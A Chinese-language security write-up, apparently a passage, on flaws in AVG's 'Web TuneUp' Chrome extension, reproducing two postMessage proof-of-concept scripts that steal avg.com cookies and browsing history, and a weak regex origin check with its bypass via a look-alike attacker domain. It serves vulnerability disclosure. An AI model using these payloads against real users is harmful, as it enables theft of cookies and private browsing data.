这个插件添加了很多的api用来操作谷歌浏览器,比如可以轻易的劫持搜索框和新标签页。而由于其安装过程十分复杂,所以能够逃避谷歌恶意软件的检查,特别是能够逃避谷歌浏览器“阻止滥用扩展的API”的检查。
事实上其中的很多api是有问题的,攻击者可以通过构造payload成功盗取用户在avg.com上的cookie,还可以获取用户的浏览记录以及其他的私人数据,甚至有可能成功实施任意命令执行。
攻击手法
Tavis在给厂商的邮件中列举了几种攻击手法:"navigate" API 将会导致一个通用的跨域xss漏洞,attacker.com可以跨域读取访问者的mail.google.com的邮件或者是来自于其他网站的数据。
- <script>
- for (i = 0; i < 256; i++) {
- window.postMessage({ origin: "web", action: "navigate", data: {
- url: "javascript:document.location.hostname.endsWith('.avg.com')"
- + "?"
- + "alert(document.domain + ':' +document.cookie)"
- + ":"
- + "false",
- tabID: i
- }}, "*");
- }
- </script>
以上代码为Tavis给的poc
通过 window.postMessage(允许跨域通信的javascript api) 不间断的向 AVG: "Web TuneUP”插件发起请求,请求的数据为:
- { origin: "web", action: "navigate", data: {url:"javascript:document.location.hostname.endsWith('.avg.com')"+ "?"+ "alert(document.domain + ':' +document.cookie)"+ ":"+ "false",tabID: i}}
当用户的标签页在访问avg.com网站时,将爆破以.avg.com结尾的网站的当前域名和cookie值。"recently" api将会泄露当前用户的浏览记录
- <script>
- window.addEventListener("message", receiveMessage, false);
- window.postMessage({ from: "web", to: "content", method: "recently" }, "*")
- function receiveMessage(event)
- {
- if (event.data != undefined && event.data.historyItems != undefined) {
- var obj = JSON.parse(event.data.historyItems);
- document.write("Here is a list of websites you've been visiting");
- document.write("<br>");
- for (i in obj) {
- var d = new Date(obj[i]);
- document.write("<a href=" + i + ">" + i + "</a> on " + d);
- document.write("<br>");
- }
- }
- }
- </script>
以上代码为Tavis给的poc
通过window.postMessage向插件的"recently"API发起请求获取当前用户的浏览记录,本地监听事件来获取返回的数据,然后输出数据。
随后厂商对此进行了修复,但是由于修复的不对,又被Tavis绕过了。修复的代码中增加了判断
- var match = event.origin.match(/https?:\/\/.*\.avg\.com/i);
- if (match ! null {
- ...
- }
判断来源是不是包含".avg.com",但是这个很容易被绕过。比如https://www.avg.com.www.attacker.com这个域名就能绕过这个限定,继续实施上面提到的两个攻击。又会因为上面的对协议的判断是既支持http又支持https,于是又产生了“中间人攻击”这个问题。
厂商对此又进行了修复,这次限制了域名必须为"mysearch.avg.com"和"webtuneup.avg.com" 。但通过下面这个xss,他又可以对用户数据进行窃取: